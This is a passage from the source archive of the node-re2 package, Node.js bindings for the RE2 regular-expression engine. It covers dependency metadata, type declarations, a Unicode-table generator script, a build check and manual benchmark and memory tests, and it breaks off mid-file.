"^13.0.0" }, "devDependencies": { "@types/node": "^25.9.3", "@unicode/unicode-17.0.0": "^1.6.17", "nano-benchmark": "^1.0.16", "prettier": "^3.8.4", "tape-six": "^1.10.1", "tape-six-proc": "^1.3.1", "typescript": "^6.0.3" }, "engines": { "node": "^22.22.2 || ^24.15.0 || >=26.0.0" }, "funding": { "url": "https://github.com/sponsors/uhop" } }, "node_modules/@isaacs/fs-minipass": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", "integrity": "sha512-wgm9Ehl2jpeqP3zw/7mo3kRHFp5MEDhqAdwy1fTGkHAwnkGOVsgpvQhL8B5n1qlb01jV3n/bI0ZfZp5lWA1k4w==", "license": "ISC", "dependencies": { "minipass": "^7.0.4" }, "engines": { "node": ">=18.0.0" } }, "node_modules/@types/node": { "version": "25.9.3", "resolved": "https://registry.npmjs.org/@types/node/-/node-25.9.3.tgz", "integrity": "sha512-603BddQMv3pUcr4U2dhujk83N2tTDVr/34wII2B6bJy6g+8WD6yUb11jszNs0gdi4PesVWl7ABt8nYMVpnLUcg==", "dev": true, "license": "MIT", "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "node_modules/@unicode/unicode-17.0.0": { "version": "1.6.17", "resolved": "https://registry.npmjs.org/@unicode/unicode-17.0.0/-/unicode-17.0.0-1.6.17.tgz", "integrity": "sha512-TcBN39y5g7rmQbjnIDsW+4XlEXk6BnJMlhGyUHqUljp00affwlSLv5v7nB37pbdD/ks1BpptvILVQRMp34wPPw==", "dev": true, "license": "MIT" }, "node_modules/abbrev": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-5.0.0.tgz", "integrity": "sha512-/XrFJgzQQQHpti1raDJC6m4ws6aNktmjBlhk8Fdlk7LwCEuDoieEJJY9OFHjfiFJFFRM2tK+Ky/IsfbbmlMu1w==", "license": "ISC", "engines": { "node": "^22.22.2 || ^24.15.0 || >=26.0.0" } }, "node_modules/chownr": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/chownr/-/chownr-3.0.0.tgz", "integrity": "sha512-+IxzY9BZOQd/XuYPRmrvEVjF/nqj5kgT4kEq7VofrDoM1MxoRjEWkrCC3EtLi59TVawxTAn+orJwFQcrqEN1+g==", "license": "BlueOak-1.0.0", "engines": { "node": ">=18" } }, "node_modules/commander": { "version": "14.0.3", "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", "dev": true, "license": "MIT", "engines": { "node": ">=20" } }, "node_modules/console-toolkit": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/console-toolkit/-/console-toolkit-1.3.0.tgz", "integrity": "sha512-wl8Rca6jprweNIQvivv2WaEczJqJUeeDCS6Q8pQJTBY4nTVrl/2zh77liSpP2SVONVEinbDVumVIehosvkyJmA==", "dev": true, "license": "BSD-3-Clause", "funding": { "type": "github", "url": "https://github.com/sponsors/uhop" } }, "node_modules/dollar-shell": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/dollar-shell/-/dollar-shell-1.2.1.tgz", "integrity": "sha512-2po6i76ornNfVAB4NlE5BX7lJ5h6wL3OqnF6kK3Z6pOold8nb/agaKB1/2+/8BTpKoPF/bsuj4Vv89RGzzaEeQ==", "dev": true, "license": "BSD-3-Clause", "engines": { "node": ">=22" }, "funding": { "type": "github", "url": "https://github.com/sponsors/uhop" } }, "node_modules/env-paths": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", "license": "MIT", "engines": { "node": ">=6" } }, "node_modules/exponential-backoff": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/exponential-backoff/-/exponential-backoff-3.1.3.tgz", "integrity": "sha512-ZgEeZXj30q+I0EN+CbSSpIyPaJ5HVQD18Z1m+u1FXbAeT94mr1zw50q4q6jiiC447Nl/YTcIYSAftiGqetwXCA==", "license": "Apache-2.0" }, "node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", "license": "MIT", "engines": { "node": ">=12.0.0" }, "peerDependencies": { "picomatch": "^3 || ^4" }, "peerDependenciesMeta": { "picomatch": { "optional": true } } }, "node_modules/graceful-fs": { "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", "license": "ISC" }, "node_modules/install-artifact-from-github": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/install-artifact-from-github/-/install-artifact-from-github-1.6.0.tgz", "integrity": "sha512-wKsuzN8fy8QK7iEUqyWTQmvZ1QFGPn1xyl3/1iIIDthDjS7Hn9HoPwHlNakZirWbCsbad0lZMkr6Xfbpe1pUzw==", "license": "BSD-3-Clause", "bin": { "install-from-cache": "bin/install-from-cache.js", "save-to-github-cache": "bin/save-to-github-cache.js" }, "engines": { "node": ">=18" } }, "node_modules/isexe": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-4.0.0.tgz", "integrity": "sha512-FFUtZMpoZ8RqHS3XeXEmHWLA4thH+ZxCv2lOiPIn1Xc7CxrqhWzNSDzD+/chS/zbYezmiwWLdQC09JdQKmthOw==", "license": "BlueOak-1.0.0", "engines": { "node": ">=20" } }, "node_modules/minipass": { "version": "7.1.3", "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", "license": "BlueOak-1.0.0", "engines": { "node": ">=16 || 14 >=14.17" } }, "node_modules/minizlib": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-3.1.0.tgz", "integrity": "sha512-KZxYo1BUkWD2TVFLr0MQoM8vUUigWD3LlD83a/75BqC+4qE0Hb1Vo5v1FgcfaNXvfXzr+5EhQ6ing/CaBijTlw==", "license": "MIT", "dependencies": { "minipass": "^7.1.2" }, "engines": { "node": ">= 18" } }, "node_modules/nan": { "version": "2.27.0", "resolved": "https://registry.npmjs.org/nan/-/nan-2.27.0.tgz", "integrity": "sha512-hC+0LidcL3XE4rp1C4H54KujgXKzbfyTngZTwBByQxsOxCEKZT0MPQ4hOKUH2jU1OYstqdDH4onyHPDzcV0XdQ==", "license": "MIT" }, "node_modules/nano-benchmark": { "version": "1.0.16", "resolved": "https://registry.npmjs.org/nano-benchmark/-/nano-benchmark-1.0.16.tgz", "integrity": "sha512-CgSai2FnM328Yr5UEddGkX2/kg6UPKFFiDJTlM6GT9lM7CSRrOIQHQi56BY1k9j+Z9MnjE+LKFus7L2sH4Qt3Q==", "dev": true, "license": "BSD-3-Clause", "dependencies": { "commander": "^14.0.3", "console-toolkit": "^1.3.0" }, "bin": { "nano-bench": "bin/nano-bench.js", "nano-watch": "bin/nano-watch.js" }, "funding": { "type": "github", "url": "https://github.com/sponsors/uhop" } }, "node_modules/node-gyp": { "version": "13.0.0", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-13.0.0.tgz", "integrity": "sha512-FYYyBDWdc+kzoyPd5PqHUgM9DGs1C/Z4jxBZAOnA2GRUVXPivKRREq5q+VVPXVr9aGVqGMaMqyFHbviy/yb7Hg==", "license": "MIT", "dependencies": { "env-paths": "^2.2.0", "exponential-backoff": "^3.1.1", "graceful-fs": "^4.2.6", "nopt": "^10.0.0", "proc-log": "^7.0.0", "semver": "^7.3.5", "tar": "^7.5.4", "tinyglobby": "^0.2.12", "undici": "^6.25.0", "which": "^7.0.0" }, "bin": { "node-gyp": "bin/node-gyp.js" }, "engines": { "node": "^22.22.2 || ^24.15.0 || >=26.0.0" } }, "node_modules/nopt": { "version": "10.0.1", "resolved": "https://registry.npmjs.org/nopt/-/nopt-10.0.1.tgz", "integrity": "sha512-df3sBr/6ax9hSGuC3CspvLlbnX8cP5L5nZwXF8cGN8l0zSWR6BvzmQ6jPUKjvo6+/xdpkNvEcucBNUdBeeV13g==", "license": "ISC", "dependencies": { "abbrev": "^5.0.0" }, "bin": { "nopt": "bin/nopt.js" }, "engines": { "node": "^22.22.2 || ^24.15.0 || >=26.0.0" } }, "node_modules/picomatch": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", "license": "MIT", "engines": { "node": ">=12" }, "funding": { "url": "https://github.com/sponsors/jonschlinkert" } }, "node_modules/prettier": { "version": "3.8.4", "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.4.tgz", "integrity": "sha512-N2MylSdi48+5N/6S5j+maeHbUSIzzZ5uOcX5Hm4QpV8Dkb1HFjfAKTKX6yNPJQD9AhcT3ifHNB66tWTTJDi11Q==", "dev": true, "license": "MIT", "bin": { "prettier": "bin/prettier.cjs" }, "engines": { "node": ">=14" }, "funding": { "url": "https://github.com/prettier/prettier?sponsor=1" } }, "node_modules/proc-log": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/proc-log/-/proc-log-7.0.0.tgz", "integrity": "sha512-FYgfaA69XZ93zaXLoMNQ+ViDXGGBgR8aLh03txzcFhV+9xOXx7+8DLCULrKKpR9+GsH9ZfHm82aSUPpozX0Ztg==", "license": "ISC", "engines": { "node": "^22.22.2 || ^24.15.0 || >=26.0.0" } }, "node_modules/semver": { "version": "7.8.4", "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.4.tgz", "integrity": "sha512-rUCObTnP32Q08R2uuIrt7r9PlEonuTmtuXYcW6s5kjdlj3xbnwe+21yXptAUYcMAABLkYYTtnmzb3w3EDZfueA==", "license": "ISC", "bin": { "semver": "bin/semver.js" }, "engines": { "node": ">=10" } }, "node_modules/tape-six": { "version": "1.10.1", "resolved": "https://registry.npmjs.org/tape-six/-/tape-six-1.10.1.tgz", "integrity": "sha512-tP7I7ShmSJdo8ObNjINKVL3JHhGL82nRTbAQMg07pjDhzBVlHIJ1G9iwaJNnyfolNHo81MrDN7ix6N22BdR9Xw==", "dev": true, "license": "BSD-3-Clause", "bin": { "tape6": "bin/tape6.js", "tape6-bun": "bin/tape6-bun.js", "tape6-deno": "bin/tape6-deno.js", "tape6-node": "bin/tape6-node.js", "tape6-runner": "bin/tape6-runner.js", "tape6-seq": "bin/tape6-seq.js", "tape6-server": "bin/tape6-server.js" }, "funding": { "url": "https://github.com/sponsors/uhop" } }, "node_modules/tape-six-proc": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/tape-six-proc/-/tape-six-proc-1.3.1.tgz", "integrity": "sha512-Ii3v3jVXpTOa9m68ZuXFwJ2A5wUg3lQeBQAxwHB+yNtjdGXBSpWrRLRZQ2x/zWPRCEkfA+muMdXldlz50FOdig==", "dev": true, "license": "BSD-3-Clause", "dependencies": { "dollar-shell": "^1.2.1", "tape-six": "^1.10.1" }, "bin": { "tape6-proc": "bin/tape6-proc.js" }, "funding": { "url": "https://github.com/sponsors/uhop" } }, "node_modules/tar": { "version": "7.5.16", "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.16.tgz", "integrity": "sha512-56adEpPMouktRlBLXiaYFFzZ/3+JXa8P9n7WbR+ibIjtviN55mEaOkiysCnPnWm+7kkui1Dn8J9l+g6zV8731w==", "license": "BlueOak-1.0.0", "dependencies": { "@isaacs/fs-minipass": "^4.0.0", "chownr": "^3.0.0", "minipass": "^7.1.2", "minizlib": "^3.1.0", "yallist": "^5.0.0" }, "engines": { "node": ">=18" } }, "node_modules/tinyglobby": { "version": "0.2.17", "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", "license": "MIT", "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.4" }, "engines": { "node": ">=12.0.0" }, "funding": { "url": "https://github.com/sponsors/SuperchupuDev" } }, "node_modules/typescript": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-6.0.3.tgz", "integrity": "sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==", "dev": true, "license": "Apache-2.0", "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" }, "engines": { "node": ">=14.17" } }, "node_modules/undici": { "version": "6.27.0", "resolved": "https://registry.npmjs.org/undici/-/undici-6.27.0.tgz", "integrity": "sha512-YmfV3YnEDzXRC5lZ2jWtWWHKGUm1zIt8AhesR1tens+HTNv+YZlN/dp6G727LOvMJ8xjP9Be7Y2Sdr96LDm+pg==", "license": "MIT", "engines": { "node": ">=18.17" } }, "node_modules/undici-types": { "version": "7.24.6", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", "integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==", "dev": true, "license": "MIT" }, "node_modules/which": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/which/-/which-7.0.0.tgz", "integrity": "sha512-RancgH2dmbLdHl6LRhEqvklWMgl/Hdnun0Y90KhBOLkMefg8Qa7/Zel8Sm+8HEcP6DEjzsWzpkuBQEZok58isA==", "license": "ISC", "dependencies": { "isexe": "^4.0.0" }, "bin": { "node-which": "bin/which.js" }, "engines": { "node": "^22.22.2 || ^24.15.0 || >=26.0.0" } }, "node_modules/yallist": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz", "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==", "license": "BlueOak-1.0.0", "engines": { "node": ">=18" } } } } uhop-node-re2-2d93a5d/package.json000066400000000000000000000046761521435504200170170ustar00rootroot00000000000000{ "name": "re2", "version": "1.25.0", "description": "Bindings for RE2: fast, safe alternative to backtracking regular expression engines.", "homepage": "https://github.com/uhop/node-re2", "bugs": "https://github.com/uhop/node-re2/issues", "type": "commonjs", "main": "re2.js", "types": "re2.d.ts", "files": [ "binding.gyp", "lib", "llms-full.txt", "llms.txt", "re2.d.ts", "scripts/*.js", "vendor" ], "dependencies": { "install-artifact-from-github": "^1.6.0", "nan": "^2.27.0", "node-gyp": "^13.0.0" }, "devDependencies": { "@types/node": "^25.9.3", "@unicode/unicode-17.0.0": "^1.6.17", "nano-benchmark": "^1.0.16", "prettier": "^3.8.4", "tape-six": "^1.10.1", "tape-six-proc": "^1.3.1", "typescript": "^6.0.3" }, "scripts": { "test": "tape6 --flags FO", "test:seq": "tape6-seq --flags FO", "test:proc": "tape6-proc --flags FO", "save-to-github": "save-to-github-cache --artifact build/Release/re2.node", "install": "install-from-cache --artifact build/Release/re2.node --host-var RE2_DOWNLOAD_MIRROR --skip-path-var RE2_DOWNLOAD_SKIP_PATH --skip-ver-var RE2_DOWNLOAD_SKIP_VER || node-gyp -j max rebuild", "verify-build": "node scripts/verify-build.js", "build:dev": "node-gyp -j max build --debug", "build": "node-gyp -j max build", "build1": "node-gyp build", "rebuild:dev": "node-gyp -j max rebuild --debug", "rebuild": "node-gyp -j max rebuild", "rebuild1": "node-gyp rebuild", "clean": "node-gyp clean && node-gyp configure", "clean-build": "node-gyp clean", "ts-check": "tsc --noEmit", "lint": "prettier --check *.js *.ts tests/ bench/", "lint:fix": "prettier --write *.js *.ts tests/ bench/" }, "github": "https://github.com/uhop/node-re2", "repository": { "type": "git", "url": "git+https://github.com/uhop/node-re2.git" }, "engines": { "node": "^22.22.2 || ^24.15.0 || >=26.0.0" }, "keywords": [ "RegExp", "RegEx", "text processing", "PCRE alternative" ], "author": "Eugene Lazutkin (https://lazutkin.com/)", "funding": "https://github.com/sponsors/uhop", "llms": "https://raw.githubusercontent.com/uhop/node-re2/master/llms.txt", "llmsFull": "https://raw.githubusercontent.com/uhop/node-re2/master/llms-full.txt", "license": "BSD-3-Clause", "tape6": { "tests": [ "/tests/test-*.*js", "/tests/test-*.*ts" ] } } uhop-node-re2-2d93a5d/re2.d.ts000066400000000000000000000046261521435504200160060ustar00rootroot00000000000000/// declare module 're2' { interface RE2BufferExecArray { index: number; input: Buffer; 0: Buffer; groups?: { [key: string]: Buffer; }; indices?: RegExpIndicesArray; } interface RE2BufferMatchArray { index?: number; input?: Buffer; 0: Buffer; groups?: { [key: string]: Buffer; }; } interface RE2 extends RegExp { readonly internalSource: string; exec(str: string): RegExpExecArray | null; exec(str: Buffer): RE2BufferExecArray | null; match(str: string): RegExpMatchArray | null; match(str: Buffer): RE2BufferMatchArray | null; test(str: string | Buffer): boolean; replace( str: K, replaceValue: string | Buffer ): K; replace( str: K, replacer: (substring: string, ...args: any[]) => string | Buffer ): K; search(str: string | Buffer): number; split(str: K, limit?: number): K[]; } interface RE2SetOptions { anchor?: 'unanchored' | 'start' | 'both'; maxMem?: number; } interface RE2Set { readonly size: number; readonly source: string; readonly sources: string[]; readonly flags: string; readonly anchor: 'unanchored' | 'start' | 'both'; readonly maxMem: number; match(str: string | Buffer): number[]; test(str: string | Buffer): boolean; toString(): string; } interface RE2SetConstructor { new ( patterns: Iterable, flagsOrOptions?: string | Buffer | RE2SetOptions, options?: RE2SetOptions ): RE2Set; ( patterns: Iterable, flagsOrOptions?: string | Buffer | RE2SetOptions, options?: RE2SetOptions ): RE2Set; readonly prototype: RE2Set; } interface RE2Constructor extends RegExpConstructor { new (pattern: Buffer | RegExp | RE2 | string): RE2; new (pattern: Buffer | string, flags?: string | Buffer): RE2; (pattern: Buffer | RegExp | RE2 | string): RE2; (pattern: Buffer | string, flags?: string | Buffer): RE2; readonly prototype: RE2; unicodeWarningLevel: 'nothing' | 'warnOnce' | 'warn' | 'throw'; getUtf8Length(value: string): number; getUtf16Length(value: Buffer): number; Set: RE2SetConstructor; RE2: RE2Constructor; } var RE2: RE2Constructor; export = RE2; } uhop-node-re2-2d93a5d/re2.js000066400000000000000000000016201521435504200155410ustar00rootroot00000000000000// @ts-self-types="./re2.d.ts" 'use strict'; const RE2 = require('./build/Release/re2.node'); // const RE2 = require('./build/Debug/re2.node'); const setAliases = (object, dict) => { for (let [name, alias] of Object.entries(dict)) { Object.defineProperty( object, alias, Object.getOwnPropertyDescriptor(object, name) ); } }; setAliases(RE2.prototype, { match: Symbol.match, search: Symbol.search, replace: Symbol.replace, split: Symbol.split }); RE2.prototype[Symbol.matchAll] = function* (str) { if (!this.global) throw TypeError( 'String.prototype.matchAll() is called with a non-global RE2 argument' ); const re = new RE2(this); re.lastIndex = this.lastIndex; for (;;) { const result = re.exec(str); if (!result) break; if (result[0] === '') ++re.lastIndex; yield result; } }; module.exports = RE2; module.exports.RE2 = RE2; uhop-node-re2-2d93a5d/scripts/000077500000000000000000000000001521435504200162035ustar00rootroot00000000000000uhop-node-re2-2d93a5d/scripts/gen-unicode-properties.mjs000066400000000000000000000174461521435504200233210ustar00rootroot00000000000000#!/usr/bin/env node // Generate lib/unicode_properties.h covering every Unicode binary property and // Script_Extensions value that ECMAScript's `\p{...}` accepts. RE2 itself // supports General_Category and Script natively — those are translated // elsewhere in lib/pattern.cc. This file ships the rest as codepoint-range // tables that pattern.cc expands inline. // // Data sources: // - @unicode/unicode-17.0.0 (devDependency) — per-property ranges // - PropertyValueAliases.txt (UCD) — script ISO short codes // // Run: node scripts/gen-unicode-properties.mjs [path-to-PropertyValueAliases.txt] // Defaults to fetching PropertyValueAliases.txt over HTTPS. import fs from 'node:fs/promises'; import path from 'node:path'; import {fileURLToPath} from 'node:url'; const UNICODE_VERSION = '17.0.0'; const ALIASES_URL = `https://www.unicode.org/Public/UCD/latest/ucd/PropertyValueAliases.txt`; const UNICODE_PKG = `@unicode/unicode-${UNICODE_VERSION}`; const __dirname = path.dirname(fileURLToPath(import.meta.url)); const PKG_ROOT = path.resolve(__dirname, '..', 'node_modules', UNICODE_PKG); const OUTPUT_PATH = path.resolve(__dirname, '..', 'lib', 'unicode_properties.h'); // JS-spec binary properties (non-`v`-flag). Each entry: canonical name and // any aliases the language accepts. Sources: ECMA-262 22.2.1.10 + TR-44. // Properties of Strings (Basic_Emoji, RGI_Emoji, etc.) intentionally omitted // — they match sequences, which need `v`-flag semantics RE2 doesn't model. const JS_BINARY_PROPERTIES = { ASCII: [], ASCII_Hex_Digit: ['AHex'], Alphabetic: ['Alpha'], Any: [], Assigned: [], Bidi_Control: ['Bidi_C'], Bidi_Mirrored: ['Bidi_M'], Case_Ignorable: ['CI'], Cased: [], Changes_When_Casefolded: ['CWCF'], Changes_When_Casemapped: ['CWCM'], Changes_When_Lowercased: ['CWL'], Changes_When_NFKC_Casefolded: ['CWKCF'], Changes_When_Titlecased: ['CWT'], Changes_When_Uppercased: ['CWU'], Dash: [], Default_Ignorable_Code_Point: ['DI'], Deprecated: ['Dep'], Diacritic: ['Dia'], Emoji: [], Emoji_Component: ['EComp'], Emoji_Modifier: ['EMod'], Emoji_Modifier_Base: ['EBase'], Emoji_Presentation: ['EPres'], Extended_Pictographic: ['ExtPict'], Extender: ['Ext'], Grapheme_Base: ['Gr_Base'], Grapheme_Extend: ['Gr_Ext'], Hex_Digit: ['Hex'], IDS_Binary_Operator: ['IDSB'], IDS_Trinary_Operator: ['IDST'], ID_Continue: ['IDC'], ID_Start: ['IDS'], Ideographic: ['Ideo'], Join_Control: ['Join_C'], Logical_Order_Exception: ['LOE'], Lowercase: ['Lower'], Math: [], Noncharacter_Code_Point: ['NChar'], Pattern_Syntax: ['Pat_Syn'], Pattern_White_Space: ['Pat_WS'], Quotation_Mark: ['QMark'], Radical: [], Regional_Indicator: ['RI'], Sentence_Terminal: ['STerm'], Soft_Dotted: ['SD'], Terminal_Punctuation: ['Term'], Unified_Ideograph: ['UIdeo'], Uppercase: ['Upper'], Variation_Selector: ['VS'], White_Space: ['space'], XID_Continue: ['XIDC'], XID_Start: ['XIDS'] }; const loadAliases = async arg => { if (arg) return fs.readFile(arg, 'utf8'); const res = await fetch(ALIASES_URL); if (!res.ok) throw new Error(`HTTP ${res.status} fetching ${ALIASES_URL}`); return res.text(); }; const parseScriptAliases = text => { const map = new Map(); for (const raw of text.split('\n')) { const line = raw.replace(/#.*$/, '').trim(); if (!line) continue; const parts = line.split(';').map(s => s.trim()); if (parts[0] !== 'sc') continue; // `sc ; Adlm ; Adlam` — alias on the left, canonical on the right. const [, alias, canonical] = parts; if (alias && canonical && alias !== canonical) { map.set(canonical, alias); } } return map; }; const readRanges = relPath => { // ranges.js exports an array of UnicodeRange { begin, end } — end is exclusive. // Use require via createRequire so the script stays an ESM module without // round-tripping through dynamic import (the package is CJS-only). const mod = require(relPath); if (!Array.isArray(mod)) { throw new Error(`${relPath}: ranges.js did not export an array`); } // Coerce to inclusive [lo, hi] pairs. return mod.map(r => [r.begin, r.end - 1]).sort((a, b) => a[0] - b[0]); }; import {createRequire} from 'node:module'; const require = createRequire(import.meta.url); const cidentSafe = s => s.replace(/[^A-Za-z0-9_]/g, '_'); const hex = n => `0x${n.toString(16).toUpperCase()}`; const emitRangeArray = (lines, identSlug, ranges) => { lines.push(`static const UnicodeRange kRanges_${identSlug}[] = {`); for (const [lo, hi] of ranges) { lines.push(`\t{${hex(lo)}, ${hex(hi)}},`); } lines.push('};'); lines.push(''); }; const collectBinaryProperties = () => { const dir = path.join(PKG_ROOT, 'Binary_Property'); const entries = []; for (const [canonical, aliases] of Object.entries(JS_BINARY_PROPERTIES)) { const ranges = readRanges(path.join(dir, canonical, 'ranges.js')); entries.push({canonical, aliases, ranges}); } return entries; }; const collectScriptExtensions = scriptAliases => { const dir = path.join(PKG_ROOT, 'Script_Extensions'); const dirs = require('node:fs').readdirSync(dir).sort(); const entries = []; for (const canonical of dirs) { const stat = require('node:fs').statSync(path.join(dir, canonical)); if (!stat.isDirectory()) continue; const ranges = readRanges(path.join(dir, canonical, 'ranges.js')); const alias = scriptAliases.get(canonical); entries.push({canonical, aliases: alias ? [alias] : [], ranges}); } return entries; }; const emit = (binaryEntries, scxEntries) => { const lines = []; lines.push('// Auto-generated by scripts/gen-unicode-properties.mjs — do not edit by hand.'); lines.push('// Source: @unicode/unicode-17.0.0 + Unicode PropertyValueAliases.txt'); lines.push(`// Unicode version: ${UNICODE_VERSION}`); lines.push(''); lines.push('#pragma once'); lines.push(''); lines.push('#include '); lines.push('#include '); lines.push(''); lines.push('struct UnicodeRange { uint32_t lo; uint32_t hi; };'); lines.push('struct UnicodePropertyTable {'); lines.push('\tconst char *name;'); lines.push('\tconst UnicodeRange *ranges;'); lines.push('\tsize_t count;'); lines.push('};'); lines.push(''); const emitTable = (groupName, entries) => { for (const {canonical, ranges} of entries) { emitRangeArray(lines, cidentSafe(canonical), ranges); } lines.push(`static const UnicodePropertyTable k${groupName}[] = {`); for (const {canonical, aliases, ranges} of entries) { const slug = cidentSafe(canonical); lines.push(`\t{"${canonical}", kRanges_${slug}, ${ranges.length}},`); for (const alias of aliases) { lines.push(`\t{"${alias}", kRanges_${slug}, ${ranges.length}},`); } } lines.push('};'); lines.push(`static const size_t k${groupName}Count = sizeof(k${groupName}) / sizeof(UnicodePropertyTable);`); lines.push(''); }; emitTable('BinaryProperties', binaryEntries); emitTable('ScriptExtensions', scxEntries); return lines.join('\n'); }; const main = async () => { const aliasesText = await loadAliases(process.argv[2]); const scriptAliases = parseScriptAliases(aliasesText); const binaryEntries = collectBinaryProperties(); const scxEntries = collectScriptExtensions(scriptAliases); const out = emit(binaryEntries, scxEntries); await fs.writeFile(OUTPUT_PATH, out); const totalBinaryRanges = binaryEntries.reduce((a, e) => a + e.ranges.length, 0); const totalScxRanges = scxEntries.reduce((a, e) => a + e.ranges.length, 0); console.error(`Wrote ${OUTPUT_PATH}`); console.error(`Binary properties: ${binaryEntries.length} canonical (${totalBinaryRanges} ranges total)`); console.error(`Script_Extensions: ${scxEntries.length} canonical (${totalScxRanges} ranges total)`); }; main().catch(err => { console.error(err); process.exit(1); }); uhop-node-re2-2d93a5d/scripts/verify-build.js000066400000000000000000000005451521435504200211460ustar00rootroot00000000000000'use strict'; // This is a light-weight script to make sure that the package works. const assert = require('assert').strict; const RE2 = require("../re2"); const sample = "abbcdefabh"; const re1 = new RE2("ab*", "g"); assert(re1.test(sample)); const re2 = RE2("ab*"); assert(re2.test(sample)); const re3 = new RE2("abc"); assert(!re3.test(sample)); uhop-node-re2-2d93a5d/tests/000077500000000000000000000000001521435504200156565ustar00rootroot00000000000000uhop-node-re2-2d93a5d/tests/manual/000077500000000000000000000000001521435504200171335ustar00rootroot00000000000000uhop-node-re2-2d93a5d/tests/manual/matchall-bench.js000066400000000000000000000004131521435504200223310ustar00rootroot00000000000000'use strict'; const RE2 = require('../../re2'); const N = 1_000_000; const s = 'a'.repeat(N), re = new RE2('a', 'g'), matches = s.matchAll(re); let n = 0; for (const _ of matches) ++n; if (n !== s.length) console.log('Wrong result.'); console.log('Done.'); uhop-node-re2-2d93a5d/tests/manual/memory-check.js000066400000000000000000000012501521435504200220520ustar00rootroot00000000000000'use strict'; const RE2 = require('../../re2.js'); const L = 20 * 1024 * 1024, N = 100; if (typeof globalThis.gc != 'function') console.log( "Warning: to run it with explicit gc() calls, you should use --expose-gc as a node's argument." ); const gc = typeof globalThis.gc == 'function' ? globalThis.gc : () => {}; const s = 'a'.repeat(L), objects = []; for (let i = 0; i < N; ++i) { const re2 = new RE2('x', 'g'); objects.push(re2); const result = s.replace(re2, ''); if (result.length !== s.length) console.log('Wrong result.'); gc(); } console.log( 'Done. Now it is spinning: check the memory consumption! To stop it, press Ctrl+C.' ); for (;;); uhop-node-re2-2d93a5d/tests/manual/memory-monitor.js000066400000000000000000000045131521435504200224710ustar00rootroot00000000000000'use strict'; const RE2 = require('../../re2'); const N = 5_000_000; console.log('Never-ending loop: exit with Ctrl+C.'); const aCharCode = 'a'.charCodeAt(0); const randomAlpha = () => String.fromCharCode(aCharCode + Math.floor(Math.random() * 26)); const humanizeNumber = n => { const negative = n < 0; if (negative) n = -n; const s = n.toFixed(); let group1 = s.length % 3; if (!group1) group1 = 3; let result = s.substring(0, group1); for (let i = group1; i < s.length; i += 3) { result += ',' + s.substring(i, i + 3); } return (negative ? '-' : '') + result; }; const CSI = '\x1B['; const cursorUp = (n = 1) => CSI + (n > 1 ? n.toFixed() : '') + 'A'; const sgr = (cmd = '') => CSI + (Array.isArray(cmd) ? cmd.join(';') : cmd) + 'm'; const RESET = sgr(); const NOTE = sgr(91); let first = true; const maxMemory = { heapTotal: 0, heapUsed: 0, external: 0, arrayBuffers: 0, rss: 0 }, labels = { heapTotal: 'heap 